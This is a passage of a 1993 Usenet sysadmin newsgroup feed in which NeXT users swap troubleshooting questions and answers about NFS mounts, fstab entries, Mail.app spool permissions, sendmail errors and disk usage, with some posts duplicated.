but I don't know if it will work in practice.
Robert Rhoads
rhoadse@prism.cs.orst.edu
NeXTmail appreciated!
Newsgroups: comp.sys.next.sysadmin
From: mckelvey@fafnir.com (James W. McKelvey)
Subject: Re: Hard Disk Ruination Imminent?
Message-ID: <C5tJnD.Dq6@fafnir.com>
Sender: mckelvey@fafnir.com (James W. McKelvey)
Organization: Fafnir Software, Saugus, CA, USA
References: <1993Apr20.030245.29502@splunge.uucp>
Date: Wed, 21 Apr 1993 05:38:01 GMT
In article <1993Apr20.030245.29502@splunge.uucp> royce@splunge.uucp (Royce
Howland) writes:
> andrew@stone.com (Andrew Stone) writes:
>
> >I've got one machine on our net which is so close to my bed that I feel
> >obliged to shut it off at night, else I code in my sleep.
>
> >The trouble is, each time I power up, it fsck's, even though I power down
> >clean. Any guesses as to what this means?
>
> We have several machines on our net that do this, also. And I just
> saw an Epson Progression with NS Intel PR1 doing the same thing. I
> don't know why it's happening, but my theory is that it has something
> to do with NFS. In any event, it seems unlikely that all of ours are
> hard disks about to take that final spin-down.
>
> That's not to say that your disk isn't really dying. :~)
> --
This is a 3.0 "feature" I have reported to NeXT. I have ten NeXT's to
administer at work. The stations almost NEVER reboot cleanly; the cubes almost
ALWAYS reboot cleanly, as does the lone Turbo station. Under 2.1, they all
rebooted cleanly. Who knows why???
--
The gentle journey jars to stop. The drifting dream is
done. The long gone goblins loom ahead; the deadly,
that we thought were dead, stand waiting, every one.
-- Walt Kelly Jim McKelvey mckelvey@fafnir.com
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer
Subject: Re: Workspace dying consistently...help..
Message-ID: <OLEG.93Apr21013401@gd.cs.CSUFresno.EDU>
From: oleg@gd.cs.CSUFresno.EDU (Oleg Kibirev)
Date: 21 Apr 93 01:34:01
References: <1993Apr20.141059.66518@cc.usu.edu>
Organization: Computer Science Departement of California State University inFresno
In-reply-to: slv0y@cc.usu.edu's message of 20 Apr 93 14:10:59 MDT
In article <1993Apr20.141059.66518@cc.usu.edu> slv0y@cc.usu.edu writes:
I am experiencing some strange WorkSpace errors. I can't see anything obvious
as to why I am getting them so if anyone can shed some light on this I would
appreciate it.
I am exporting a directory ServerApps to the root domain and its mount point is
/Net. If in the workspace while logged in as root on a client machine and I
try to open this folder, workspace dies and loggs me out. I can access that
directory via the shell just fine and everything looks o.k., and I can access
that directory from a user account, and on the server under root. All of the
files in the directory are just normal apps, calculator, safetynet, etc. and
none of them have any strange file characteristics, ownerships, etc. that I can
see. So whats the problem? Is this a known bug in 3.0...if so, how do I get
around it? Its really not that big of a problem except I want to link the
applications in the server apps directory into each machines local apps as
root. Am I going about this all wrong? I have to have a local apps and a
server or shared apps because I have several programs with single licenses that
have to be installed on just one machine.
NextStep has problems with NFS. If you are root, system expects you to
be able to access any file, regardless of permissions. Of course, it's
not always so with NFS. As a result, if you try to access a file
unreadable for user "nobody" as root, you get "I/O error". Moreover,
failure to access this file is cached, so after this you won't be able
to access it even as owner.
Workspace is probably confused with unusual error. You may want to
give clients NFS root permission on this directory or just make sure
that all files in it are world readable.
Oleg
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin
From: olson@locke.mcs.anl.gov (Bob Olson)
Subject: PhoneKit and National ISDN-1
Message-ID: <7353930503017@locke.mcs.anl.gov>
Sender: usenet@mcs.anl.gov
Organization: Argonne National Laboratory, Chicago, Illinois
Date: Wed, 21 Apr 1993 11:50:50 GMT
Has anyone used the PhoneKit with a switch that uses the National ISDN-1
protocol? The Kit supports only AT&T and Northern Telecom switches; I
was curious whether anyone has hacked upon it to make it work with
other switches.
--bob
Newsgroups: comp.sys.next.sysadmin
From: jon@afs.com
Subject: Attaching NeXTStation to ethernet
Message-ID: <1993Apr21.134233.920@afs.com>
Sender: jon@afs.com
Date: Wed, 21 Apr 1993 13:42:33 GMT
My school has two lonely NeXTstation which, after almost two years,
have yet to be attached to the internet.
This school year, they finally got some cable to them, but they
have not been set up to use the network yet.
When booting, they say they cannot find the name server, and boot up without
a network connection. There is no netinfo server. These are the only two
NeXT's on campus.
What exactly would I have to do to get them on the net? My guess is that I
will have to edit hostconfig, giving the machines a hostname and/or address.
Am I on the right track? Life would be so much easier if I could ftp onto
a NeXT, rather than a Macintosh.
From: marcos@kaleida.com (Paul Marcos)
Newsgroups: comp.sys.next.sysadmin
Subject: Problem with AppleTalk printers
Date: 21 Apr 1993 16:22:31 GMT
Organization: Kaleida Labs, Inc.
Distribution: world
Message-ID: <1r3sc7INN38s@golden.kaleida.com>
Hi, recently I've been having a hell of a time getting my NeXTstation to
print to our AppleTalk printers. So I have a couple questions:
1. If I get the error "Printer offline or unavailable", is there a way
that I can manually turn it back online? DL says that you shouldn't start
npd or lpd by hand but rather restart the machine. Is this true or is
there a safe way to do it?
2. Has anybody successfully exported a printer to a NeXTSTEP/Intel
machine? We tried once and the NSI machine said that it couldn't connect
to printer daemon. Any ideas?
3. Along the same lines as number 1, if the Appletalk support seems to
die, is there a safe way of restarting it by hand or is it again reboot
time?
Thanks for any help.
Paul
...................................................................
Paul Marcos NeXTMail encouraged!
Kaleida Labs, Inc. marcos@kaleida.com
Newsgroups: comp.sys.next.sysadmin
From: sherwood@space.ualberta.ca (System Administrator)
Subject: Exceedingly slow user logins
Message-ID: <1993Apr21.190809.11444@kakwa.ucs.ualberta.ca>
Sender: news@kakwa.ucs.ualberta.ca
Organization: University Of Alberta, Edmonton Canada
Date: Wed, 21 Apr 1993 19:08:09 GMT
One machine on our net has become VERY slow to complete the workspace
initialization. (20 minutes+)
Logins from other machines are fast.
One can su to the user with dispatch.
The user doesn't start any apps from his dock.
All nfs servers are present and happy.
Netinfo works both locally and for the network.
There's 40 megs free space on the swap disk.
The machine is a turbo with 32 MB memory running NS 2.2
The problem started when I upgraded from 8 mb to 32 mb. as near as I can
recontstruct from asking users about it.
This problem does not affect the other turbo upgraded the same day; but
that one runs 3.0, and is colour
Other curiosities. Starting a copy of Edit in /LocalApps takes 40
seconds. (/LocalApps is nfs mounted) Starting it from /NextApps (on the
local disk...) takes 3 seconds.
On other machines in our net the time to start either copy is
indisguishable. All machines have 12 biod's running. All machines have
the same set of servers mounted (3 NextStep, 1 sun, 1 stardent)
Ideas? I'm stumped
In the list below jpd is the user. This was taken 5 minutes after he
logged in. This was after a recent reboot.
loki# !! | sort +1n
ps aux | sort +1n
USER PID %CPU %MEM VSIZE RSIZE TT STAT TIME COMMAND
root -1 0.0 0.0 0K 0K ? ?W< 0:00 <mach-task>
root -1 0.0 0.0 0K 0K ? S 0:00 <mach-task>
root -1 0.0 0.0 0K 0K ? S 0:00 <mach-task>
root -1 0.0 0.0 0K 0K ? S < 0:00 <mach-task>
root 0 0.0 4.0 14.2M 1.27M ? R N 15:27 (kernel idle)
root 1 0.0 0.8 1.31M 256K ? S 0:00 /usr/etc/init -xx
root 2 0.0 0.9 1.34M 280K co S 0:00 /etc/mach_init -xx
root 3 0.0 1.8 2.39M 600K ? S 0:00 /usr/etc/kern_loader
-n
root 54 0.0 0.9 1.24M 280K ? S 0:00 /usr/etc/syslogd
root 60 0.0 1.5 6.37M 488K ? S N 0:00 /usr/etc/nmserver
root 64 0.0 0.8 1.23M 248K ? S 0:00 /usr/etc/portmap
root 67 0.0 0.9 1.25M 288K ? S 0:00 /usr/etc/nibindd
root 68 0.0 1.3 1.29M 416K ? S 0:01 /usr/etc/netinfod
local
root 72 0.0 0.8 1.23M 248K ? S 0:00 /usr/etc/ypbind
root 75 0.0 1.4 1.33M 456K ? S 0:01 /usr/etc/lookupd
root 79 0.0 0.4 1.31M 144K ? S 0:00 /usr/etc/biod 12
root 80 0.0 0.4 1.31M 144K ? S 0:00 /usr/etc/biod 12
root 81 0.0 0.4 1.31M 144K ? S 0:00 /usr/etc/biod 12
root 82 0.0 0.4 1.31M 144K ? S 0:00 /usr/etc/biod 12
root 83 0.0 0.4 1.31M 144K ? S 0:00 /usr/etc/biod 12
root 84 0.0 0.4 1.31M 144K ? S 0:00 /usr/etc/biod 12
root 85 0.0 0.4 1.31M 144K ? S 0:00 /usr/etc/biod 12
root 86 0.0 0.4 1.31M 144K ? S 0:00 /usr/etc/biod 12
root 87 0.0 0.4 1.31M 144K ? S 0:00 /usr/etc/biod 12
root 88 0.0 0.4 1.31M 144K ? S 0:00 /usr/etc/biod 12
root 89 0.0 0.4 1.31M 144K ? S 0:00 /usr/etc/biod 12
root 90 0.0 0.4 1.31M 144K ? S 0:00 /usr/etc/biod 12
root 100 0.0 0.9 1.24M 304K ? S 0:00 /usr/etc/inetd
root 104 0.0 1.0 1.29M 320K ? S 0:00 /usr/lib/lpd
root 109 0.0 1.2 1.31M 384K ? S 0:00 /usr/etc/pbs
root 111 0.0 0.8 1.41M 248K ? S N 0:00
/usr/etc/autodiskmount
root 114 0.0 1.7 3.23M 552K ? S 0:00
/usr/lib/NextPrinter/npd
root 124 0.0 0.8 1.25M 256K ? S N 0:00
/u/arafel/adm/bin/adim -b0
root 134 0.0 1.1 1.34M 376K ? S 0:00 /usr/lib/sendmail
-bd -q1h
root 141 0.0 0.5 1.31M 152K ? S 0:00 update
root 144 0.0 0.8 1.31M 248K ? S 0:00 cron
jpd 149 0.0 6.0 19.0M 1.92M ? S 0:02 - console
(WindowServer)
root 150 0.0 3.5 2.80M 1.12M ? S 0:00 - console
(loginwindow)
jpd 152 0.0 5.5 4.47M 1.76M ? S 0:04
/usr/lib/NextStep/Workspace
jpd 154 0.0 0.7 1.25M 224K p0 S 0:00 Console Daemon
root 155 0.0 1.0 1.33M 312K ? S 0:00 rlogind
root 156 0.0 1.2 1.34M 384K p1 S 0:00 -csh (csh)
root 173 0.0 1.8 1.66M 584K p1 R 0:00 ps aux
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=> University of Alberta Lab Manager, Space Physics Group <=
=> tel:403 492-3713 fax: 403 492-4256 <=
Newsgroups: comp.sys.next.sysadmin
From: soward@slow.inslab.uky.edu (John Soward)
Subject: Re: Hard Disk Ruination Imminent?
Message-ID: <C5uKDy.44I@ms.uky.edu>
Sender: news@ms.uky.edu (USENET News System)
Organization: University Of Kentucky, Dept. of Math Sciences
References: <C5tJnD.Dq6@fafnir.com>
Date: Wed, 21 Apr 1993 18:51:32 GMT
James W. McKelvey writes
-> In article <1993Apr20.030245.29502@splunge.uucp> royce@splunge.uucp (Royce
-> Howland) writes:
-> > andrew@stone.com (Andrew Stone) writes:
-> >
-> > >I've got one machine on our net which is so close to my bed that I feel
-> > >obliged to shut it off at night, else I code in my sleep.
-> >
-> > >The trouble is, each time I power up, it fsck's, even though I power down
-> > >clean. Any guesses as to what this means?
-> >
-> > We have several machines on our net that do this, also. And I just
-> > saw an Epson Progression with NS Intel PR1 doing the same thing. I
-> > don't know why it's happening, but my theory is that it has something
-> > to do with NFS. In any event, it seems unlikely that all of ours are
-> > hard disks about to take that final spin-down.
-> >
-> > That's not to say that your disk isn't really dying. :~)
-> This is a 3.0 "feature" I have reported to NeXT. I have ten NeXT's to
-> administer at work. The stations almost NEVER reboot cleanly; the cubes
almost
-> ALWAYS reboot cleanly, as does the lone Turbo station. Under 2.1, they all
-> rebooted cleanly. Who knows why???
Typically this is a sign that something is not umounting before the
systems ends...this could be a local disk, and NFS mounted (or likely
automounted) partition, etc...check for mounts of slow servers or onto slow
nets, that may not let the thing umount before it gives up and shuts down
anyways....
--
John Soward \ 'Across yonder oceans the natives are fierce
University of Kentucky \ Their ears are filled and their teeth are pierced'
soward@inslab.uky.edu \ -- The Church, Priest=Aura
Newsgroups: comp.sys.next.sysadmin
From: bav@bergen.siodata.no (Bjorn Asle Valde)
Subject: Fetching mail with mail.app
Message-ID: <1993Apr21.192950.29154@alf.uib.no>
Keywords: mail
Sender: usenet@alf.uib.no (Bergen University Newsaccount)
Organization: University of Bergen, Norway
Date: Wed, 21 Apr 93 19:29:50 GMT
I recently changed my mail-drop directory from on-local-disk
to an nfs-mounted directory. mail is received locally ok, I
can send out-going mail and the permissions/ownership on
the files in /usr/spool/mail seems ok. I can read my mail
with elm/mail/whatever, but Mail.app doesn't realize that
new mail has arrived. Doing "Get new mail" changes nothing.
Does anyone of you gurus know what's going on?
--
Bjorn Asle Valde - SiO Data Bergen, Christiesgt.13, N-5015 Bergen, Norway.
Email: valde@bergen.siodata.no Phones: +47-5-320240 Fax: +47-5-320238
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.bugs
From: taluskie@utpapa.ph.utexas.edu (Vince Taluskie)
Subject: sendmail: bus error ?!
Message-ID: <1993Apr21.222732.21280@chpc.utexas.edu>
Sender: root@chpc.utexas.edu (Convex UNIX)
Organization: Physics Department, University of Texas at Austin
Date: Wed, 21 Apr 93 22:27:32 GMT
Hi,
I'm not too familiar with Nexts but I was asked to try to help out a
group in our department with a problem they were having with their
machine.
sendmail isn't starting out of the boot scripts. When I try to
start sendmail by hand:
/usr/lib/sendmail -bd -q1h
I get the message "Bus error"
BTW, /usr/lib/sendmail.cf is a symbolic link to sendmail.subsidiary.cf .
Any idea what I can do about this, please email if you have any advice
you can offer.
Thanks in Advance,
Vince Taluskie
--
Vince Taluskie
UNIX Systems Administration Physics Computer Group
taluskie@utpapa.ph.utexas.edu The University of Texas at Austin
Newsgroups: comp.sys.next.sysadmin
From: lorinr@altsys.com (Lorin Rivers III)
Subject: Weird mount prob
Message-ID: <1993Apr21.204551.16780@altsys.com>
Organization: Altsys Corporation, Richardson, TX
Date: Wed, 21 Apr 1993 20:45:51 GMT
I have a problem with a mounted external disk that's connected to a
Sparc10 running Solaris 2.1. I'm running NS 3.x
Here's the deal:
The disk is called disk
on the Sun, it's /disk. The Sun is called sun. In NetInfoManager I
have the mount set up as sun:/disk and the mount point is /disk.
Everything's fine UNTIL in the browser you go 2 levels deep into the
/disk hierarchy. What happens then is the next folder you go into is a
duplicate of the last directory's contents.
Here's sort of what it looks like:
/disk/folder1
/folder2
/folder3
so you click on /disk/folder1 to see what's in there
/disk/folder1/subfolderA
/subfolderB
/subfolderC
so you click on /disk/folder1/subfolderA to see what's in there
/disk/folder1/subfolderA/subfolderA/subfolderA/subfolderA...
/subfolderB/subfolderB/subfolderB/subfolderB...
/subfolderC/subfolderC/subfolderC/subfolderC...
These are all the same directories. I hope this is clear...
If I open each directory as a folder, I can get in one more level deep
but if I have something deep in I have to open several directories as
folders to get to my stuff. Anyone have a suggestion?
Thanks in advance!
--
Lorin Rivers Lorin_Rivers@altsys.com
Altsys Technical Support 214.680.2518
269 W. Renner Parkway NeXT Mail Expected
Richardson, Texas 75080 I said it, not my boss
Newsgroups: comp.sys.next.sysadmin
From: benk@ie1next.me.umn.edu (Benjamin Koo)
Subject: Mysterious loss of harddrive space
Message-ID: <C5v6BK.9y2@news.cis.umn.edu>
Sender: news@news.cis.umn.edu (Usenet News Administration)
Organization: University of Minnesota
Date: Thu, 22 Apr 1993 02:44:39 GMT
Hello:
My harddrive is being drained by certain process drastically. The
disk space left is constantly shrinking/expanding. I checked all the user
processes. There is one process that has been running using nroff for 600
minunts. I checked the data file it generates, it is less than 10k. I
also checked the /tmp directory. I could not find any temporary files
that is being generated. Where can I check to find out the leakage of the
HD space?
Newsgroups: comp.sys.next.sysadmin
From: hlam@bmerh136.bnr.ca (Hayward Lam)
Subject: External disk mounting problem
Message-ID: <1993Apr22.040604.449@bmers95.bnr.ca>
Sender: usenet@bmers95.bnr.ca
Organization: Bell-Northern Research Ltd.
Date: Thu, 22 Apr 1993 04:06:04 GMT
I have an external drive which I want to mount during
boot time. So I following the instruction in Sys Admin
book to add a new entry in etc/fstab.
/dev/sd0a / 4.3 rw,noquota,noauto 0 1
/dev/sd3a /Users 4.3 rw,noquota,noauto 0 2
The device name is correct, the /Users exists and is empty.
So I reboot my machine. In ROM monitor, it shows that
"Checking disks " checks both sd0 and sd3. Everything
seems to be fine. However, when I log on as different
users, the files' owner on the external disk changes
depends on who currently logons. Therefore, no file
permissions.
I want to eventually move all users to the external disk.
Any help or comments are appreciated.
Thanks.
Hayward
--
---------------------------------------------------------
Hayward Lam
email:hlam@bnr.ca
From: izumi@pinoko.berkeley.edu (Izumi Ohzawa)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: External disk mounting problem
Date: 22 Apr 1993 06:42:55 GMT
Organization: University of California, Berkeley
Distribution: world
Message-ID: <1r5epf$p9a@agate.berkeley.edu>
References: <1993Apr22.040604.449@bmers95.bnr.ca>
Keywords: No noauto
In article <1993Apr22.040604.449@bmers95.bnr.ca> hlam@bmerh136.bnr.ca (Hayward Lam) writes:
>I have an external drive which I want to mount during
>boot time. So I following the instruction in Sys Admin
>book to add a new entry in etc/fstab.
>
>/dev/sd0a / 4.3 rw,noquota,noauto 0 1
>/dev/sd3a /Users 4.3 rw,noquota,noauto 0 2
^^^^^^^
Documentation is incorrect, and NeXT knows about it.
Drop ",noauto" from sd3a mount. This keyword should be used
mounting the root partition ONLY, not with other secondary
partitions.
--
Izumi Ohzawa [ $@Bg_78^=;(J ]
USMail: University of California, 360 Minor Hall, Berkeley, CA 94720
Telephone: (510) 642-6440 Fax: (510) 642-3323
Internet: izumi@pinoko.berkeley.edu (NeXTMail OK)
From: ti6sj@tuhhco.rz.tu-harburg.de (Stefan Just)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: External disk mounting problem
Message-ID: <ti6sj.735466324@tuhhco>
Date: 22 Apr 93 08:12:04 GMT
References: <1993Apr22.040604.449@bmers95.bnr.ca>
Sender: usenet@rztsun.rz.tu-harburg.de
hlam@bmerh136.bnr.ca (Hayward Lam) writes:
>I have an external drive which I want to mount during
>boot time. So I following the instruction in Sys Admin
>book to add a new entry in etc/fstab.
>/dev/sd0a / 4.3 rw,noquota,noauto 0 1
>/dev/sd3a /Users 4.3 rw,noquota,noauto 0 2
~~~~~~~
noauto means: do not mount this file system automatically
~~~
if you do not want to mount the fs by hand, remove ",noauto".
Stefan Just
From: dpp@athena.com (David Pollak)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Fetching mail with mail.app
Date: 22 Apr 1993 17:49:21 GMT
Organization: Athena Design, Inc.
Message-ID: <1r6lr1$1ib@hermes.athena.com>
References: <1993Apr21.192950.29154@alf.uib.no>
In article <1993Apr21.192950.29154@alf.uib.no> bav@bergen.siodata.no (Bjorn
Asle Valde) writes:
>
> I recently changed my mail-drop directory from on-local-disk
> to an nfs-mounted directory. mail is received locally ok, I
> can send out-going mail and the permissions/ownership on
> the files in /usr/spool/mail seems ok. I can read my mail
> with elm/mail/whatever, but Mail.app doesn't realize that
> new mail has arrived. Doing "Get new mail" changes nothing.
This is a NeXTMail bug. The /usr/spool/mail *DIRECTORY* must be world
read/write/execute.
David
From: dpp@athena.com (David Pollak)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Fetching mail with mail.app
Date: 22 Apr 1993 17:49:27 GMT
Organization: Athena Design, Inc.
Message-ID: <1r6lr7$1ic@hermes.athena.com>
References: <1993Apr21.192950.29154@alf.uib.no>
In article <1993Apr21.192950.29154@alf.uib.no> bav@bergen.siodata.no (Bjorn
Asle Valde) writes:
>
> I recently changed my mail-drop directory from on-local-disk
> to an nfs-mounted directory. mail is received locally ok, I
> can send out-going mail and the permissions/ownership on
> the files in /usr/spool/mail seems ok. I can read my mail
> with elm/mail/whatever, but Mail.app doesn't realize that
> new mail has arrived. Doing "Get new mail" changes nothing.
This is a NeXTMail bug. The /usr/spool/mail *DIRECTORY* must be world
read/write/execute.
David
From: dpp@athena.com (David Pollak)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Fetching mail with mail.app
Date: 22 Apr 1993 17:49:31 GMT
Organization: Athena Design, Inc.
Message-ID: <1r6lrb$1id@hermes.athena.com>
References: <1993Apr21.192950.29154@alf.uib.no>
In article <1993Apr21.192950.29154@alf.uib.no> bav@bergen.siodata.no (Bjorn
Asle Valde) writes:
>
> I recently changed my mail-drop directory from on-local-disk
> to an nfs-mounted directory. mail is received locally ok, I
> can send out-going mail and the permissions/ownership on
> the files in /usr/spool/mail seems ok. I can read my mail
> with elm/mail/whatever, but Mail.app doesn't realize that
> new mail has arrived. Doing "Get new mail" changes nothing.
This is a NeXTMail bug. The /usr/spool/mail *DIRECTORY* must be world
read/write/execute.
David
Newsgroups: comp.sys.next.sysadmin
From: eps@shell.portal.com (Eric Schwartz)
Subject: Console messages
Message-ID: <C5wD8u.9rt@unix.portal.com>
Sender: news@unix.portal.com
Organization: Portal Communications Company
Date: Thu, 22 Apr 1993 18:12:26 GMT
Can anyone explain the following messages I've been seeing in my Console
window?
Software Version 2.1 (Warp6.11)
Apr 20 11:50:18 Workspace[195]: ...Ready
Apr 20 13:14:34 whyanext mach_init[2]: timed out: msg_send
Apr 20 13:14:34 whyanext last message repeated 14 times
bot=0 top=62
Apr 20 21:51:53 whyanext mach_init[2]: timed out: msg_send
Apr 20 21:51:53 whyanext last message repeated 14 times
Apr 20 23:49:26 whyanext mach_init[2]: timed out: msg_send
Apr 20 23:49:27 whyanext last message repeated 17 times
Apr 21 03:14:50 whyanext mach_init[2]: timed out: msg_send
Apr 21 03:14:51 whyanext last message repeated 17 times
Apr 21 08:11:25 whyanext mach_init[2]: timed out: msg_send
Apr 21 08:11:25 whyanext last message repeated 17 times
prop stack overflow
prop stack overflow
prop stack overflow
prop stack overflow
Thanks,
Eric
eric@whyanext.com <--
--
Eric Schwartz
eps@shell.portal.com
From: rse8135@dewie.tamu.edu (R.S. Etheredge)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Netware 3.11/NeXT problem
Date: 22 Apr 1993 18:17:38 GMT
Organization: Texas A&M University, College Station, TX
Distribution: world
Message-ID: <1r6ng2INNfqb@tamsun.tamu.edu>
References: <1qnomqINNcp@clem.handheld.com>
In article <1qnomqINNcp@clem.handheld.com> jmd@cube.handheld.com (Jim De
Arras) writes:
..
> Every NeXT in house. Even one that is on the same cable segment as
> the novell servers, so we've ruled the brige out.
>
> Does this sound familiar to anyone? Any ideas?
>
> Jim
> --
> jmd@handheld.com
I second all that. I would like some net help on the NetWare to NeXT and
NeXT to NetWare communications. Ditto to the AppleTalk communication also.
I want them all to work, and they just don't!
Thanks for the attention, and have a happy day...
Rusty Etheredge
rse8135@dewie.tamu.edu
From: rse8135@dewie.tamu.edu (R.S. Etheredge)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Netware 3.11/NeXT problem
Date: 22 Apr 1993 18:17:47 GMT
Organization: Texas A&M University, College Station, TX
Distribution: world
Message-ID: <1r6ngbINNfqk@tamsun.tamu.edu>
References: <1qnomqINNcp@clem.handheld.com>
In article <1qnomqINNcp@clem.handheld.com> jmd@cube.handheld.com (Jim De
Arras) writes:
..
> Every NeXT in house. Even one that is on the same cable segment as
> the novell servers, so we've ruled the brige out.
>
> Does this sound familiar to anyone? Any ideas?
>
> Jim
> --
> jmd@handheld.com
I second all that. I would like some net help on the NetWare to NeXT and
NeXT to NetWare communications. Ditto to the AppleTalk communication also.
I want them all to work, and they just don't!
Thanks for the attention, and have a happy day...
Rusty Etheredge
rse8135@dewie.tamu.edu
From: rse8135@dewie.tamu.edu (R.S. Etheredge)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Netware 3.11/NeXT problem
Date: 22 Apr 1993 18:17:56 GMT
Organization: Texas A&M University, College Station, TX
Distribution: world
Message-ID: <1r6ngkINNfqs@tamsun.tamu.edu>
References: <1qnomqINNcp@clem.handheld.com>
In article <1qnomqINNcp@clem.handheld.com> jmd@cube.handheld.com (Jim De
Arras) writes:
..
> Every NeXT in house. Even one that is on the same cable segment as
> the novell servers, so we've ruled the brige out.
>
> Does this sound familiar to anyone? Any ideas?
>
> Jim
> --
> jmd@handheld.com
I second all that. I would like some net help on the NetWare to NeXT and
NeXT to NetWare communications. Ditto to the AppleTalk communication also.
I want them all to work, and they just don't!
Thanks for the attention, and have a happy day...
Rusty Etheredge
rse8135@dewie.tamu.edu
From: rse8135@dewie.tamu.edu (R.S. Etheredge)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Netware 3.11/NeXT problem
Date: 22 Apr 1993 18:18:15 GMT
Organization: Texas A&M University, College Station, TX
Distribution: world
Message-ID: <1r6nh7INNfra@tamsun.tamu.edu>
References: <1qnomqINNcp@clem.handheld.com>
In article <1qnomqINNcp@clem.handheld.com> jmd@cube.handheld.com (Jim
De Arras) writes:
..
> Every NeXT in house. Even one that is on the same cable segment
as
> the novell servers, so we've ruled the brige out.
>
> Does this sound familiar to anyone? Any ideas?
>
> Jim
> --
> jmd@handheld.com
I second all that. I would like some net help on the NetWare to NeXT
and NeXT to NetWare communications. Ditto to the AppleTalk
communication also. I want them all to work, and they just don't!
Thanks for the attention, and have a happy day...
Rusty Etheredge
rse8135@dewie.tamu.edu
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From: rse8135@dewie.tamu.edu (R.S. Etheredge)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Netware 3.11/NeXT problem
Date: 22 Apr 1993 18:18:24 GMT
Organization: Texas A&M University, College Station, TX
Distribution: world
Message-ID: <1r6nhgINNfrm@tamsun.tamu.edu>
References: <1qnomqINNcp@clem.handheld.com>
In article <1qnomqINNcp@clem.handheld.com> jmd@cube.handheld.com (Jim De
Arras) writes:
..
> Every NeXT in house. Even one that is on the same cable segment as
> the novell servers, so we've ruled the brige out.
>
> Does this sound familiar to anyone? Any ideas?
>
> Jim
> --
> jmd@handheld.com
I second all that. I would like some net help on the NetWare to NeXT and
NeXT to NetWare communications. Ditto to the AppleTalk communication also.
I want them all to work, and they just don't!
Thanks for the attention, and have a happy day...
Rusty Etheredge
rse8135@dewie.tamu.edu
From: rse8135@dewie.tamu.edu (R.S. Etheredge)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Netware 3.11/NeXT problem
Date: 22 Apr 1993 18:18:44 GMT
Organization: Texas A&M University, College Station, TX
Distribution: world
Message-ID: <1r6ni4INNfst@tamsun.tamu.edu>
References: <1qnomqINNcp@clem.handheld.com>
In article <1qnomqINNcp@clem.handheld.com> jmd@cube.handheld.com (Jim De
Arras) writes:
..
> Every NeXT in house. Even one that is on the same cable segment as
> the novell servers, so we've ruled the brige out.
>
> Does this sound familiar to anyone? Any ideas?
>
> Jim
> --
> jmd@handheld.com
I second all that. I would like some net help on the NetWare to NeXT and
NeXT to NetWare communications. Ditto to the AppleTalk communication also.
I want them all to work, and they just don't!
Thanks for the attention, and have a happy day...
Rusty Etheredge
rse8135@dewie.tamu.edu
Newsgroups: comp.sys.next.sysadmin
From: phil@news.uta.edu (Patrick Phillips)
Subject: Re: Fetching mail with mail.app
Message-ID: <1993Apr22.175412.7807@news.uta.edu>
Keywords: mail
Organization: University of Texas at Arlington
References: <1993Apr21.192950.29154@alf.uib.no>
Date: Thu, 22 Apr 1993 17:54:12 GMT
In article <1993Apr21.192950.29154@alf.uib.no> Bjorn_Asle.Valde@bergen.siodata.no writes:
>the files in /usr/spool/mail seems ok. I can read my mail
>with elm/mail/whatever, but Mail.app doesn't realize that
>new mail has arrived. Doing "Get new mail" changes nothing.
I just discovered this problem yesterday. Trying to tighten-up the
security problems reported by cops, I changed the mode of
/usr/spool/mail from 777 to 755. This apparently breaks Mail.app's
ability to see new mail. To me this is stupid, it should just
copy the mail out and zero out the file, but it must need to unlink
it for some reason (or something wierd like that).
You might try to see if you can get your NFS administrator to change
the mode of /usr/spool/mail to see if that fixes the problem. Getting
him/her to leave it that way might be another question.
In a realted topic, what about the 777 mode of the root directory.
I turned this to 755 (or 1755 I think), and so far nothing has
broken. What's the reason for this security problem?
Patrick Phillips
phil@decster.uta.edu
From: rse8135@dewie.tamu.edu (R.S. Etheredge)
Newsgroups: comp.sys.next.sysadmin
Subject: multiple copies of post
Date: 22 Apr 1993 18:56:02 GMT
Organization: Texas A&M University, College Station, TX
Message-ID: <1r6po2INNjtq@tamsun.tamu.edu>
Howdee,
There seem to be more than the one post I wanted sent to this listserv. As
I would punch the post button, an error message would come up that tells me
error on post; post failed; ok. So I would poke ok and try to resend the
post. The posts obviously, all of them, posted. I offer my apologies, and
now seek advice on how to fix this problem. Thanks for the attention, and
have a happy day...
Rusty Etheredge
rse8135@dewie.tamu.edu
Newsgroups: comp.sys.next.sysadmin
From: benk@ie1next.me.umn.edu (Benjamin Koo)
Subject: Harddisk problems (originally:Mysterious loss of harddrive space)
Message-ID: <C5wJMH.FKC@news2.cis.umn.edu>
Sender: news@news2.cis.umn.edu (Usenet News Administration)
Organization: University of Minnesota
Date: Thu, 22 Apr 1993 20:30:15 GMT
Hello:
Thanks for all who had replied to me. I found that the problem is
not private/vm/swapfile nor /tmp files. The problem remains. My HD space
is down from 105 to 85, 65, and 59MB. I doubt that might be a hardware
problem. Is there any other suggestions.
Thanks
Ben
From: glenn@rightbrain.com (Glenn Reid)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Harddisk problems (originally:Mysterious loss of harddrive space)
Message-ID: <1194@rtbrain.rightbrain.com>
Date: 23 Apr 93 05:49:07 GMT
References: <C5wJMH.FKC@news2.cis.umn.edu>
Sender: glenn@rightbrain.com
Benjamin Koo writes
> Hello:
> Thanks for all who had replied to me. I found that the problem is
> not private/vm/swapfile nor /tmp files. The problem remains. My HD space
> is down from 105 to 85, 65, and 59MB. I doubt that might be a hardware
> problem. Is there any other suggestions.
1. Check /usr/adm/messages
2. Check your Mailboxes folders (compact each one, command-k, if you
haven't already)
2. Log in as root, open Terminal, and type:
du / | sort -nr > /du.out
Then open the file du.out with Edit and take a look. It will show you the
disk use of all your directories sorted with the largest at the top.
You'll probably see something weird in there somewhere.
--
Glenn Reid NeXTmail: glenn@rightbrain.com
RightBrain Software 415-326-2974 (NeXTfax 326-2977)
Palo Alto, California Electronic Frontier Foundation, member #054
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From: eps@futon.SFSU.EDU (Eric P. Scott)
Subject: Re: Read/Write a direct connect Mac HFS Hard Drive
